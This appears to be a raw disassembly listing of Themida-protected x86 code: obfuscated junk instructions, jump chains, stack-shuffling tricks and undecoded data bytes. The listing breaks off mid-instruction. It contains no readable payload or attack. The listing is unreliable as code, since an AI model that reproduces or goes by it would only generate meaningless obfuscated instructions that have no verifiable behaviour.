--------------------------------------------------------------------------- db 0FFh a4S db '4$é~+',0 dw 0BA00h dd 4, 5F79E9h, 9CC28100h, 1EF5384h, 292FE9D5h, 0EC830000h dd 24348904h, 0DE45EABEh, 2EEC15Ch, 407E9h, 49354800h dd 9D2698Ah, 0BB5358C1h, 23D54B3Dh, 5C26F381h, 0E3C14CC2h dd 77E94303h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54662F: ; CODE XREF: Themida_:00547373j pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_543FE1 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 108AE904h, 54010000h, 0E95A0424h, 2DDBh dd 0E9814149h, 1, 4FECF181h, 0CF890502h, 0EBBBBA59h, 16E9FA5Eh dd 81000050h, 300B15E3h, 81DBF737h, 0E3F174F3h, 0FBEEE984h dd 372DFFFFh, 2D7F9808h, 448369B7h, 8B2434FFh, 89562434h dd 4C681E6h, 83000000h, 89E904C6h, 81FFFFD3h, 4ECh, 24148900h dd 6811E9h, 5F545700h, 2ADABE56h, 0F75633C8h, 348B2414h dd 4C48324h, 2E33E9h, 0C8B6600h, 62316824h, 4890000h, 75B56824h dd 38E90000h, 5F00007Bh, 6413E9h, 0F356800h, 14890000h dd 8090B224h, 0B551B3E2h, 0FECDFE50h, 0FFED80C5h, 81E95366h dd 6600003Eh, 0E5B652h, 45A66F0h, 2CF82866h, 28B9E966h dd 68500000h, 135915EBh, 3E0C158h, 2ADBE9h, 24148900h dd 0FFE7E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_546731: ; CODE XREF: Themida_:00545353j push dword ptr [esp] pop ebx push esi jmp loc_54934C ; --------------------------------------------------------------------------- loc_54673B: ; CODE XREF: Themida_:0054D69Ej xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_543A20 ; --------------------------------------------------------------------------- dd 68E9D389h, 81FFFFE3h, 0C544EEF7h, 5FF8012Dh, 80CBE9h dd 54B26800h, 7CE90000h, 51000053h, 162CE9h, 815E5400h dd 4C6h, 4EE8100h, 87000000h, 248B2434h, 243C8924h, 0BFh dd 0DFDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546792: ; CODE XREF: Themida_:0054C08Ej push edi jmp loc_5442A5 ; --------------------------------------------------------------------------- loc_546798: ; CODE XREF: Themida_:0054A4A6j add ecx, 466242AFh jmp loc_548103 ; --------------------------------------------------------------------------- db 88h dd 88D5F6DDh, 0C8B66EBh, 14E95624h, 89000039h, 2C96E9E2h dd 0E9520000h, 0FFFFDEC0h, 0E904E5C1h, 0FFFFD480h, 0E92434FFh dd 45CEh, 24048B66h, 0E9595451h, 85F2h ; --------------------------------------------------------------------------- loc_5467DC: ; CODE XREF: Themida_:0054E84Fj sub ax, 0FDEh sub ax, dx push 739Ah mov [esp], ebx jmp loc_5482A5 ; --------------------------------------------------------------------------- dd 515BD801h, 2B9h, 3CC72D00h, 0C8017501h, 13CC705h, 89E95975h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54680B: ; CODE XREF: Themida_:0054D819j xchg edx, edi xor edi, 5212088Dh jmp loc_545F4C ; --------------------------------------------------------------------------- loc_546818: ; CODE XREF: Themida_:00544259j xor edi, esi push dword ptr [esp] pop esi add esp, 4 add edi, 1 xor edi, 81573BA0h push edi pop eax pop edi and ecx, eax mov eax, [esp] add esp, 4 shr ecx, 6 push 0BBDh mov [esp], ebp push 4488h mov [esp], edi mov edi, esp jmp loc_5444B1 ; --------------------------------------------------------------------------- dw 0FE01h dd 0FFF43BE9h, 0C8B66FFh, 0E7895724h, 4C781h, 0EF830000h dd 0DD7EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54686E: ; CODE XREF: Themida_:0054EAD4j add ecx, esi pop esi push ecx jmp loc_54E18C ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFD1A4h, 0E9243C33h, 69BCh, 0C181E189h, 4, 4E981h dd 0C870000h, 81E95C24h, 57FFFFF9h, 1BFh, 0E9F90100h, 3F02h dd 2404D366h, 0D16EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5468B2: ; CODE XREF: Themida_:005491FFj push 31B0h mov [esp], ecx sub esp, 4 mov [esp], ebx push 1D8B593Fh pop ebx jmp loc_548167 ; --------------------------------------------------------------------------- db 89h dd 2434FFEEh, 4C4835Dh, 6F4EEF68h, 0C7815F5Dh, 73775BA6h dd 0EF81F729h, 73775BA6h, 0E924348Bh, 5566h, 240C8B66h dd 3C8B5457h, 9FE95024h, 51FFFFDEh, 8174B7B9h, 59CA291Dh dd 23E9D701h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54690F: ; CODE XREF: Themida_:0054EFECj pop eax jmp loc_5455FC ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6659669Dh, 9C241CD3h, 0FFD0FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_546925: ; CODE XREF: Themida_:0054DE47j xor [esp], ebp xor ebp, [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_543A20 ; --------------------------------------------------------------------------- db 81h dd 0A45F6FEAh, 0E9535B2Fh, 0FFFFF7A6h, 83D830ACh, 1C8904ECh dd 859FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546952: ; CODE XREF: Themida_:0054D39Aj add esp, 4 sub edx, ebp mov ebp, [esp] jmp loc_54540A ; --------------------------------------------------------------------------- dw 2B9h dd 29000000h, 240C8BCDh, 4C481h, 0FF550000h, 5D042474h dd 8B24048Fh, 89662424h, 0F66240Ch, 5166C8B6h, 0D092E99Ch dd 1489FFFFh, 4EC8324h, 24048F54h, 4240483h, 0FFD91FE9h dd 91E981FFh, 12F870Fh, 91C181C1h, 0E92F870Fh, 2365h, 2784E946h dd 0F1090000h, 0E4E9815Eh, 0E9FFB703h, 8897h, 6C37D9BFh dd 0E6C7817Dh, 0C15C923Eh, 0B9E903E7h, 5000052h, 3BC0EA3h dd 0E2E9C801h, 83000087h, 0E9C304C4h, 565Eh, 4BD555Ch dd 1000000h, 1C875DEBh, 24248B24h, 5124048Bh, 13AC68h dd 24248900h, 4240481h, 0E9000000h, 0FFFFDB85h, 5605EEC1h dd 1F75E9h, 0E9D82900h, 734Bh, 0FFC0B60Fh, 0EDE98734h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546A33: ; CODE XREF: Themida_:0054CDFDj mov edx, 319951FFh dec edx xor edx, 2CED3425h shl edx, 7 shl edx, 4 jmp loc_5475D3 ; --------------------------------------------------------------------------- loc_546A4A: ; CODE XREF: Themida_:0054C64Dj mov ecx, esp add ecx, 4 jmp loc_54AC65 ; --------------------------------------------------------------------------- db 89h dd 1E34E9E0h, 0E8010000h, 8904EC83h, 0D2BA2414h, 0E93CB550h dd 0FFFFDCE9h ; --------------------------------------------------------------------------- loc_546A70: ; CODE XREF: Themida_:00544D0Aj pop ebx jmp loc_54508A ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 89240C89h, 4EC81E1h, 89000000h, 4BD242Ch dd 1000000h, 242C8BE9h, 6804C483h, 74C7h, 0BE243489h, 2 dd 51E4B850h, 0E9482F5Eh, 1133h, 6028C781h, 0CF29111Fh dd 6028EF81h, 0C7E9111Fh db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546AC7: ; CODE XREF: Themida_:0054CAA3j pop edx shr eax, 10h xor eax, ecx push edx push esp pop edx push eax mov eax, 4 sub edx, 5E0F042Eh add edx, eax push ebp mov ebp, 5E0F042Eh add edx, ebp jmp loc_54F171 ; --------------------------------------------------------------------------- loc_546AEB: ; CODE XREF: Themida_:0054CBDBj add edi, 4 add edi, 4 xchg edi, [esp] pop esp or eax, eax jz loc_54EB67 push dword ptr [edi+1Ch] push ebx mov ebx, 2FB0367Ch xor [esp+4], ebx push dword ptr [esp] pop ebx jmp loc_54F8CE ; --------------------------------------------------------------------------- loc_546B16: ; CODE XREF: Themida_:005478D2j add edi, ebx add edi, 3E074B0Dh pop ebx sub edx, 18E43009h jmp loc_543A9F ; --------------------------------------------------------------------------- loc_546B2A: ; CODE XREF: Themida_:00544534j mov esi, [esp] add esp, 4 and eax, ecx mov ecx, [esp] jmp loc_547572 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 685DEB01h, 7229h, 0BE243489h, 2, 0E95EF301h, 0FFFFEC6Eh dd 515AD031h, 0FFFD23E9h, 0B6EB81FFh, 81E80247h, 522DCFC2h dd 0FFC28126h, 81764D06h, 43581AEAh, 81DA292Fh, 43581AC2h dd 0FFEA812Fh, 0E9764D06h, 0FFFFD3CDh ; --------------------------------------------------------------------------- loc_546B8C: ; CODE XREF: Themida_:0054F51Dj mov [esp], eax mov eax, 0A0596869h jmp loc_54D082 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E689565Eh, 4C681h, 0C6830000h, 24348704h, 0CE6EE95Ch dd 815BFFFFh, 4C3h, 4C38300h, 0E9241C87h, 7E99h ; --------------------------------------------------------------------------- loc_546BC4: ; CODE XREF: Themida_:00543C2Fj xor [esp], eax jmp loc_5491E6 ; --------------------------------------------------------------------------- dd 0C159CE21h, 0DEF703EEh, 605BEE81h, 0F681241Eh, 49467C8Bh dd 4F9FEE81h, 0F0293CEFh, 57E8015Eh, 3D5CEFBFh, 0A8F78108h dd 8174F26Bh, 937C33EFh, 0C1DFF707h, 0C78104EFh, 3BB5E483h dd 5373F781h, 8147252Ch, 970813EFh, 8BF8010Ah, 0C481243Ch dd 4, 83242C8Bh, 0C33104C4h, 56E9C231h, 8900006Fh, 1BD242Ch dd 9000000h, 34FF1C6Fh, 2434FF24h, 8B2434FFh, 0C483242Ch dd 73F0E904h, 0D3660000h, 0E99C242Ch, 0FFFFCDC8h, 5C241487h dd 54240C89h, 6343E959h, 815A0000h, 6A1C1CCAh, 0FCE9500Fh dd 0F7FFFFCFh, 81F787DEh, 5FCA8BF7h, 5FF889AEh, 34FFC301h dd 0C3E95824h, 0BAFFFFF3h, 70BD48BEh, 0D0895057h, 8958C789h dd 815A5FFEh, 42B746C6h, 5EF7018Fh, 5C243C87h, 4BF368h dd 242C8900h, 0C581E589h, 4, 4A60E9h db 0 ; --------------------------------------------------------------------------- loc_546CBD: ; CODE XREF: Themida_:0054E16Cj mov ecx, 3534759Ah xor ecx, 3534759Eh add ebx, ecx pop ecx push edi jmp loc_544CE6 ; --------------------------------------------------------------------------- db 53h, 88h, 0D7h dd 685BF888h, 3829h, 83241489h, 0C8904ECh, 50C58824h, 66F2E9h dd 34AA6800h, 14890000h, 50BFB224h, 0C200B1B0h, 4778E958h dd 882D0000h, 81711676h, 0B2E1CEEh, 81C6014Fh, 0B2E1CC6h dd 24048B4Fh, 4C481h, 34870000h, 5AD2E924h, 89560000h dd 4C681E6h, 81000000h, 2EEh, 24348700h, 2C89665Ch, 11E95224h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546D43: ; CODE XREF: Themida_:0054D117j mov edx, ebx pop ebx loc_546D46: ; CODE XREF: Themida_:loc_548E8Aj ; Themida_:0054D312j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54D887 ; --------------------------------------------------------------------------- db 28h dd 0EEC280C2h, 0CA805866h, 5EAC030h, 0FFE153E9h db 0FFh ; --------------------------------------------------------------------------- loc_546D69: ; CODE XREF: Themida_:0054D9B6j mov ebx, 64C36069h dec ebx dec ebx push ebp jmp loc_54A3FC ; --------------------------------------------------------------------------- loc_546D76: ; CODE XREF: Themida_:00544222j xchg ebx, [esp] pop esp push ebp mov ebp, 15E236D5h jmp loc_54FA59 ; --------------------------------------------------------------------------- loc_546D85: ; CODE XREF: Themida_:0054836Fj add edi, 6B075561h add edi, 63F43C8Fh jmp loc_549237 ; --------------------------------------------------------------------------- dw 5756h dd 0FFE788E9h, 186851FFh, 89000027h, 4812424h, 424h, 3587E900h dd 0C890000h, 0C0E4B524h, 0CDFE04EDh, 8003EDC0h, 0F580FFC5h dd 493DE98Dh, 0C0090000h, 423D840Fh, 0AA680000h, 8900002Fh dd 0FE682404h, 8B000000h, 15E92404h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_546DE7: ; CODE XREF: Themida_:0054AA06j add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], esi push ecx mov cx, 2943h push di mov di, 9110h mov si, di jmp loc_548B80 ; --------------------------------------------------------------------------- db 21h dd 2434FFF3h, 2A6DE95Eh, 49BE0000h, 0B81C9910h, 0E82F0A72h dd 2D5EF001h, 4B795587h, 4008E0C1h, 2B33E9h, 28D9B600h dd 148B66F3h, 2C48324h, 0C380C300h, 798A68D9h, 0C890000h dd 1210E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546E52: ; CODE XREF: Themida_:0054B862j and ebx, ebp mov ebp, [esp] add esp, 4 shl ebx, 8 add ebx, 7FDF9FFFh sub [edi+24h], ebx pop ebx loc_546E67: ; CODE XREF: Themida_:0054C2CFj push edi jmp loc_5498C3 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 0C1h dd 0BE5608E7h, 0B9C30DFCh, 0CEE9F729h, 2900003Ah, 0EEC15DEEh dd 0D4EE8104h, 8156E40Bh, 3AD6B8C6h, 5EF301C0h, 89C78957h dd 243C8BFAh, 5E39E951h, 0BAB00000h, 0C059B551h, 0CDFE03E5h dd 804AC580h, 0DCE9E5EDh db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546EB7: ; CODE XREF: Themida_:0054B27Ej sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_547DFB ; --------------------------------------------------------------------------- aLSz db '[‹<$é‡*',0 align 2 dw 0CF81h dd 4E317CAFh, 0C87CEF81h, 0F829C5F7h, 7D52E9h, 243C8900h dd 0B4E9E789h, 0F7FFFFE4h, 2585E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546EFA: ; CODE XREF: Themida_:0054B65Ej mov esp, [esp] jmp loc_545C89 ; --------------------------------------------------------------------------- dw 8B66h dd 0E955240Ch, 0FFFFF6BDh, 171EEA81h, 0E8E95939h, 81000043h dd 0B97BD5C3h, 0A8F38120h, 9007708h, 0FE3E9DAh, 0FC680000h dd 0E900004Ch, 14DEh, 89240489h, 0E08950E0h, 405h, 42D00h dd 0B5E90000h, 66FFFFCFh, 0B0240489h, 66C7307Ch, 4CD2C58h dd 0E9F80081h, 893Ch, 66D1F766h, 0D6BF6657h, 0F9016632h dd 21665F66h, 240C8BCAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_54FA09 ; --------------------------------------------------------------------------- loc_546F8B: ; CODE XREF: Themida_:00543A87j sub dword ptr [edx+38h], 215B7B86h xchg ebp, [edx+38h] push ebp not dword ptr [esp] pop ebp xchg ebp, [edx+38h] inc dword ptr [edx+38h] shl dword ptr [edx+38h], 5 and dword ptr [edx+38h], 530467E0h jmp loc_54E507 ; --------------------------------------------------------------------------- loc_546FB0: ; CODE XREF: Themida_:00544A33j push ebp pop edx mov ebp, [esp] sub esp, 4 jmp loc_5486A1 ; --------------------------------------------------------------------------- dd 4C481h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edx mov edx, 5EE21FA1h mov edi, edx pop edx and edi, 7CBF3879h add edi, 163D4FE0h inc edi sub edi, 249750E3h dec edi inc edi jmp loc_54B9A1 ; --------------------------------------------------------------------------- db 52h dd offset dword_4EF14C+69Dh dd 81E78900h, 4C7h, 4EC8100h, 89000000h, 7EB9240Ch, 492B0315h dd 0FFFFBF57h, 0F929FFFFh, 0DFBF575Fh, 53459721h, 0FC7A31BBh dd 0B7CB814Fh, 0C1557207h, 0CB8106EBh, 6FC0400h, 39FBC381h dd 0F3810BE0h, 0E071BF4h, 13BBC381h, 0DF01BB0Dh, 0E9F9215Bh dd 0FFFFCF48h, 0C280E228h, 0D030584Bh, 8124148Bh, 4C4h dd 4998E900h, 0BA2D0000h, 5205E503h, 517310BAh, 81DAF70Ah dd 0D672BEE2h, 0FBEA817Eh, 4A2BB542h, 2D32BD55h, 0D5F735B3h dd 0E0F5814Dh, 81D3F85Ah, 2D25EAh, 81EA0159h, 2D25C2h dd 0D0295D59h, 5F0295Ah, 628545E0h, 0E503BA05h, 0EB815E05h dd 7781C9Ah, 694F68h, 24048900h, 1E01E2B8h, 75103518h dd 86352B95h, 2913710Ah, 5609E9C3h, 0E9520000h, 4CBBh dd 24040966h, 0C932E99Ch, 0E4B4FFFFh, 0E1008EB1h, 0FFDCE0E9h dd 240C31FFh, 0FFE476E9h, 80CB00FFh, 0C8BDAEBh, 5909E924h dd 435A0000h, 4303EBC1h, 7A48BF57h, 0E7C112DAh, 8C78106h dd 8120740Dh, 4896CFC7h, 5FFB29FDh, 9AE9DA29h, 89FFFFFDh dd 4C381E3h, 57000000h, 0C781E789h, 4, 0E904EF83h, 1176h ; --------------------------------------------------------------------------- loc_54714C: ; CODE XREF: Themida_:0054A972j sub esi, 4 xchg esi, [esp] jmp loc_5495F7 ; --------------------------------------------------------------------------- dw 0EE81h dd 40D37233h, 445EEE81h, 0DEF70C21h, 2248C681h, 0F6813D5Eh dd 0A4B3FD0Ch, 295EF189h, 0A7E95AD1h, 66000028h, 0E9240C8Bh dd 839Ah, 0E95DE929h, 2FFh ; --------------------------------------------------------------------------- loc_547190: ; CODE XREF: Themida_:0054CEF5j dec edx inc edx shr edx, 1 xor edx, 74F83512h xor edi, edx pop edx jmp loc_549933 ; --------------------------------------------------------------------------- dw 1433h dd 24143124h, 8B241433h, 8B662424h, 0FC682404h, 89000006h dd 5D54242Ch, 1BC0BB53h, 814362C5h, 0C51BBDEBh, 0E9DD0162h dd 5190h, 4EB8159h, 87000000h, 895C241Ch, 0EFB9240Ch, 8132F078h dd 6D988EE9h, 59CF01E6h, 505FF831h, 457FE2B8h, 66DDE92Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5471FA: ; CODE XREF: Themida_:005495E1j add ebx, 4 push ecx jmp loc_54A8F5 ; --------------------------------------------------------------------------- loc_547206: ; CODE XREF: Themida_:0054CA6Aj mov [esp], edx push ebx push eax push 413B41D4h pop eax not eax sub eax, 0FE873E6h and eax, 747033CDh jmp loc_54C802 ; --------------------------------------------------------------------------- dw 0C159h dd 0CA8104EAh, 65A306EFh, 0DDE9DAF7h, 66FFFFCAh, 0E924048Bh dd 3419h, 0E904C483h, 5B7Fh, 5C243487h, 0FFFB49E9h db 0FFh ; --------------------------------------------------------------------------- loc_54724D: ; CODE XREF: Themida_:0054B6BFj sub cl, 68h xor cl, 7Eh not cl jmp loc_547802 ; --------------------------------------------------------------------------- dw 0DF01h dd 4A13EF81h, 66E90915h, 89000058h, 4812424h, 424h, 57515800h dd 0CE9E789h, 500002Eh, 4, 0E904C083h, 5033h, 1E9F328h dd 81000022h, 4C4h, 4C48300h, 0FFF342E9h, 48B66FFh, 69E95724h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5472A7: ; CODE XREF: Themida_:0054AB01j mov ebp, 0BB179A2Eh add ebp, edi pop edi push ebx push ebp push eax mov eax, 479D1374h xor [esp+4], eax pop eax mov ebx, [esp] push ebx mov ebx, esp jmp loc_54B501 ; --------------------------------------------------------------------------- loc_5472C7: ; CODE XREF: Themida_:0054D837j add [esp+4], ebp jmp loc_54FA71 ; --------------------------------------------------------------------------- dd 0FBFCDFBFh, 8BFE316Fh, 87E9243Ch db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5472DF: ; CODE XREF: Themida_:005485CFj mov [esp], ebp jmp loc_54AAFB ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 5DBE68h, 1AAEE900h, 74FF0000h, 3C8B0424h dd 0E1895124h, 4C181h, 0F8E90000h, 8100001Bh, 0A7345BEEh dd 2B85079h, 0D374F36h, 0F327CB0h, 902BEB35h, 5D8F710h dd 0B459A18Ah, 958C601h, 81475EF7h, 65F9FDC7h, 5FFE09BAh dd 17C6E9h, 0B2526600h, 66D38849h, 5FEB805Ah, 8FE9EB00h dd 0BE000065h, 14CB0F97h, 5198F681h, 51E94002h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547363: ; CODE XREF: Themida_:0054B3B4j add edi, edx jmp loc_54895F ; --------------------------------------------------------------------------- loc_54736A: ; CODE XREF: Themida_:00547431j push 1BE4h mov [esp], eax push esp jmp loc_54662F ; --------------------------------------------------------------------------- dd 0E9D7C780h, 29F6h ; --------------------------------------------------------------------------- loc_547380: ; CODE XREF: Themida_:0054C176j neg ecx not ecx add ecx, 0BC3FAC2Bh jmp loc_54A464 ; --------------------------------------------------------------------------- db 5Ah dd 31FFF901h, 4DCEE958h, 14890000h, 4EC8124h, 89000000h dd 4832424h, 535A0424h, 0B54ACFBBh, 81D3F75Ch, 280F93E3h dd 8BEB817Ah, 0E9713C3Bh, 83FBh, 240C8B66h, 57585450h dd 163AE9h, 0E9EBB400h, 0FFFFF10Dh, 4247431h, 1F32E9h dd 5EF02900h, 981DCF2Dh, 68E80158h, 16E2h, 0BB241C89h dd 58981DCFh, 3145E9h, 0B7535900h, 2CF8076h, 3026F780h dd 0C6305BF8h, 5624048Bh, 0C681E689h, 4, 0FFD2B3E9h, 24048FFFh dd 6167E9h db 0 ; --------------------------------------------------------------------------- loc_547425: ; CODE XREF: Themida_:0054DA7Aj push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_54736A ; --------------------------------------------------------------------------- loc_547436: ; CODE XREF: Themida_:0054F495j pop ebp jmp loc_54B1B1 ; --------------------------------------------------------------------------- dd 50240C8Bh, 656A68h, 0FE1DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54744A: ; CODE XREF: Themida_:0054E757j or eax, eax jz loc_549FEB push dword ptr [edi+28h] push ebp mov ebp, 57CE4FB4h shl ebp, 6 jmp loc_54D476 ; --------------------------------------------------------------------------- aLSX db ',‹(Èé%x',0 align 4 dd 4C481h, 48F0000h, 3086E924h, 0EF810000h, 90A2B0Ch, 81DF015Dh dd 6E0E7BC7h, 34E95B11h, 29000041h, 815D59CEh, 3302D7F6h dd 5EEC11Fh, 32268h, 24048900h, 243B3EB8h, 58C629F2h, 7C83E9h db 0 ; --------------------------------------------------------------------------- loc_5474B1: ; CODE XREF: Themida_:0054A4C7j mov ah, cl pop ecx add dl, ah pop eax xor al, dl push dword ptr [esp] pop edx push edi mov edi, esp push ebx jmp loc_54893C ; --------------------------------------------------------------------------- dw 0C483h dd 25E1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5474CE: ; CODE XREF: Themida_:00544FD3j push 370Dh mov [esp], edi push 4A491F77h pop edi jmp loc_549CD2 ; --------------------------------------------------------------------------- db 0E9h, 3Ah, 0C5h dd 0C283FFFFh, 24148702h, 6624248Bh, 8124048Bh, 4ECh, 242C8900h dd 37E7E9h db 0 ; --------------------------------------------------------------------------- loc_547501: ; CODE XREF: Themida_:0054B2C9j xchg ebp, [esp] pop esp mov [esp], esi jmp loc_54953D ; --------------------------------------------------------------------------- db 68h, 61h, 64h dd 2C890000h, 4BD24h, 0C3810000h, 21C9504Eh, 0EB81EB01h dd 21C9504Eh, 74FF535Dh, 8F5B0424h, 248B2404h, 0F9F0E924h dd 0E959FFFFh, 6BA5h, 4BB0F66h, 90E99C24h, 0F6000058h dd 2CF480DCh, 52E9E588h, 900004Fh, 4A62E9C3h, 0C5050000h dd 520970Ah, 357473AEh, 5D2434FFh, 52F4E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547572: ; CODE XREF: Themida_:00546B35j add esp, 4 or edx, eax shl edx, 1 push edx push edi mov edi, esp jmp loc_54ABFF ; --------------------------------------------------------------------------- db 68h, 2Bh, 1Eh dd 91E97C47h, 29FFFFE8h, 5FFA87D7h, 5508BE56h, 2DE97180h dd 0BF00005Dh, 26EF1AD4h, 0F781D7F7h, 390C2E8Dh, 0FFF925E9h dd 5F5457FFh, 4C781h, 0C7810000h, 4, 8B243C87h, 68552424h dd 19566531h, 0CCE9575Dh db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5475D3: ; CODE XREF: Themida_:00546A45j add edx, 5CD12824h add edx, edi xor ecx, [edx] pop edx xor [edi+24h], ecx add ecx, 1 push dword ptr [edi+24h] jmp loc_5498DD ; --------------------------------------------------------------------------- loc_5475EF: ; CODE XREF: Themida_:0054A488j add dword ptr [esp], 68B84398h push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub eax, 68B84398h push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push 29F1h jmp loc_545358 ; --------------------------------------------------------------------------- db 53h, 68h, 6Bh dd 5B280230h, 5275EB81h, 0A5E91904h, 8100000Dh, 4C2h, 4C28100h dd 0E9000000h, 5F38h, 2CBEE955h, 94BF0000h, 814ABB44h dd 122556CFh, 7E7C127h, 0C20BEF81h, 0FB31691Ah, 0E9243C8Bh dd 4728h, 8324348Bh, 0EB8104C4h, 16E07993h, 2A66C381h dd 0B2E93A9Bh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547683: ; CODE XREF: Themida_:00546392j add ecx, edi pop edi add ecx, 4 xchg ecx, [esp] mov esp, [esp] add ebx, 5B5D1F1Fh add ebx, 668800E8h sub ebx, eax sub esp, 4 jmp loc_548CFF ; --------------------------------------------------------------------------- dd 0E9243C8Bh, 0FFFFD3F4h ; --------------------------------------------------------------------------- loc_5476B0: ; CODE XREF: Themida_:0054EB7Dj push 46B9h jmp loc_548986 ; --------------------------------------------------------------------------- dw 0F0BFh dd 4F59111Eh, 7828CF81h, 0E7C11D37h, 74EF8103h, 1E9BBF7h dd 0E9505FFEh, 0FFFFEE32h, 0E902C783h, 617Eh, 4BA525Ah dd 1000000h, 28E95AD3h, 0F7000066h, 0D169E9D9h, 685CFFFFh dd 2D89h, 89241C89h, 4C381E3h, 83000000h, 1C8704C3h, 4315C24h dd 3FE99C24h, 81FFFFE7h, 52CCE4F1h, 8BCF89AFh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54B585 ; --------------------------------------------------------------------------- dw 0E820h dd 81240C8Bh, 4C4h, 11476800h, 1C890000h, 4EC8124h, 0E9000000h dd 0FFFFF246h, 8B2434FFh, 89572404h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 3FF1E95Ch, 73B90000h, 0E950C925h, 0FFFFE9E6h ; --------------------------------------------------------------------------- loc_547770: ; CODE XREF: Themida_:00547D79j pop ebx mov dx, [esp] add esp, 2 sub bx, 31E4h push dx mov dx, 4AFh add bx, dx jmp loc_54E433 ; --------------------------------------------------------------------------- dw 0C301h dd 0E9545355h, 1182h ; --------------------------------------------------------------------------- loc_547798: ; CODE XREF: Themida_:0054EFFFj pop esp sub esp, 4 jmp loc_548A39 ; --------------------------------------------------------------------------- loc_5477A1: ; CODE XREF: Themida_:0054929Ej mov edi, 4 add ebp, edi pop edi add ebp, 4 jmp loc_548DC8 ; --------------------------------------------------------------------------- aIXblI db '‰ÂXl$',8,'‰$Ý',0 aTSO db ')T$',8,'é¶O',0 align 4 dd 31240C33h, 0C33240Ch, 24248B24h, 6824048Bh, 2BE7h, 62F3E9h dd 4AE95900h, 21000008h, 24148BD0h, 0C104C483h, 0A7E908E8h dd 52000062h, 0DF5E9ABAh, 782BE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547802: ; CODE XREF: Themida_:00547255j sub cl, 4Ch add bl, cl pop ecx movzx eax, al jmp loc_547CD9 ; --------------------------------------------------------------------------- loc_547810: ; CODE XREF: Themida_:005444CBj pop ebp push esi mov esi, 1F5A5B02h jmp loc_54654F ; --------------------------------------------------------------------------- dd 575EF201h, 2BFh, 0B2EA8100h, 0E91EBC30h, 18AFh ; --------------------------------------------------------------------------- loc_547830: ; CODE XREF: Themida_:005454F9j inc ebp not ebp jmp loc_54409B ; --------------------------------------------------------------------------- loc_547838: ; CODE XREF: Themida_:00543A79j sub ebx, 0ABB8C061h add edi, ebx pop ebx sub edi, 63F43C8Fh sub edi, 6B075561h jmp loc_54836D ; --------------------------------------------------------------------------- dw 0EB83h dd 241C8704h, 241C895Ch, 53179BBh, 4E3C120h, 25ADE381h dd 42E92DFFh db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54786F: ; CODE XREF: Themida_:00548824j pop ebx or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 mov [esp], ebp jmp loc_54B4A7 ; --------------------------------------------------------------------------- dw 4B8h dd 81000000h, 0EE407FEBh, 56C30160h, 0C1367DBEh, 4B566865h dd 2C890000h, 0A02BD24h, 0EE01FB2Dh, 0FFD7C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5478A9: ; CODE XREF: Themida_:0054EEC7j mov edx, esp push esi mov esi, 21582425h or esi, 73796B41h sub esi, 73796F61h add edx, esi pop esi push edi mov edi, 785070F7h push ebx mov ebx, 87AF8F0Dh sub edi, 3E074B0Dh jmp loc_546B16 ; --------------------------------------------------------------------------- db 54h dd 5624048Fh, 4BEh, 24740100h, 2F8AE904h, 8B660000h, 68572404h dd 76DEh, 50242489h, 4B8h, 24440100h, 34FF5804h, 243C8B24h dd 0FFD651E9h db 0FFh ; --------------------------------------------------------------------------- loc_54790D: ; CODE XREF: Themida_:0054F8DDj xor [esp], edi xor edi, [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push 